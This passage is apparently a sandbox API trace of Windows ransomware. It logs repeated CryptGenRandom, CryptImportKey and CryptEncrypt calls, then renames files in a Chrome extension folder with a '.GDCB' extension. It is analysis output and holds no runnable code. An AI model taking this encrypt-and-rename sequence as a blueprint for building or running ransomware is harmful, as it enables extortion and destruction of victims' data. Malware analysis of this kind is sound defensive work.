dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.200] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.202] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0x46039, lpOverlapped=0x0) returned 1 [0278.240] VirtualAlloc (lpAddress=0x0, dwSize=0x46040, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.253] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.gdcb")) returned 1 [0278.256] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.259] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.261] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.261] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.261] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.266] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.266] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.266] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.266] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.269] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678dfa0) returned 1 [0278.269] CryptGetKeyParam (in: hKey=0x678dfa0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.269] CryptEncrypt (in: hKey=0x678dfa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.269] GetLastError () returned 0x0 [0278.270] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.270] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.271] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678dbe0) returned 1 [0278.271] CryptGetKeyParam (in: hKey=0x678dbe0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.271] CryptEncrypt (in: hKey=0x678dbe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.272] GetLastError () returned 0x0 [0278.272] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.272] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.273] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.276] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.278] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0x7c33, lpOverlapped=0x0) returned 1 [0278.298] VirtualAlloc (lpAddress=0x0, dwSize=0x7c40, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.305] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.gdcb")) returned 0 [0278.308] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.312] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.313] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.313] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.313] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.317] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.317] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.317] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.320] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678db20) returned 1 [0278.320] CryptGetKeyParam (in: hKey=0x678db20, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.320] CryptEncrypt (in: hKey=0x678db20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.320] GetLastError () returned 0x0 [0278.320] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.320] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.322] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d920) returned 1 [0278.322] CryptGetKeyParam (in: hKey=0x678d920, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.322] CryptEncrypt (in: hKey=0x678d920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.322] GetLastError () returned 0x0 [0278.322] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.322] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.324] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.327] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.329] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0x2adeb, lpOverlapped=0x0) returned 1 [0278.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2adf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.398] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.gdcb")) returned 1 [0278.401] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0278.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.406] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.406] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.406] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0278.409] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.412] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.412] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.413] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0278.415] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d960) returned 1 [0278.415] CryptGetKeyParam (in: hKey=0x678d960, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.415] CryptEncrypt (in: hKey=0x678d960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.415] GetLastError () returned 0x0 [0278.415] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0278.415] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.417] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678dc20) returned 1 [0278.417] CryptGetKeyParam (in: hKey=0x678dc20, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.417] CryptEncrypt (in: hKey=0x678dc20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.418] GetLastError () returned 0x0 [0278.418] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.418] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.419] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.422] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.426] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0x794cf, lpOverlapped=0x0) returned 1 [0278.458] VirtualAlloc (lpAddress=0x0, dwSize=0x794d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.503] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.gdcb")) returned 1 [0278.506] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0278.510] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.512] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.512] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.512] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0278.512] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.515] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.517] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.517] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.517] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.517] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.520] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678dd20) returned 1 [0278.520] CryptGetKeyParam (in: hKey=0x678dd20, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.520] CryptEncrypt (in: hKey=0x678dd20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.520] GetLastError () returned 0x0 [0278.520] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.520] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.523] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678dda0) returned 1 [0278.523] CryptGetKeyParam (in: hKey=0x678dda0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.523] CryptEncrypt (in: hKey=0x678dda0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.523] GetLastError () returned 0x0 [0278.523] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.523] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.525] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.528] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.532] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0x941, lpOverlapped=0x0) returned 1 [0278.538] VirtualAlloc (lpAddress=0x0, dwSize=0x950, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.544] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.gdcb")) returned 1 [0278.559] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.562] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.565] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.565] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.565] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.565] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.570] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.570] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.573] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dca0) returned 1 [0278.573] CryptGetKeyParam (in: hKey=0x678dca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.573] CryptEncrypt (in: hKey=0x678dca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.573] GetLastError () returned 0x0 [0278.573] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.573] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.575] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dde0) returned 1 [0278.575] CryptGetKeyParam (in: hKey=0x678dde0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.575] CryptEncrypt (in: hKey=0x678dde0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.576] GetLastError () returned 0x0 [0278.576] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.576] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 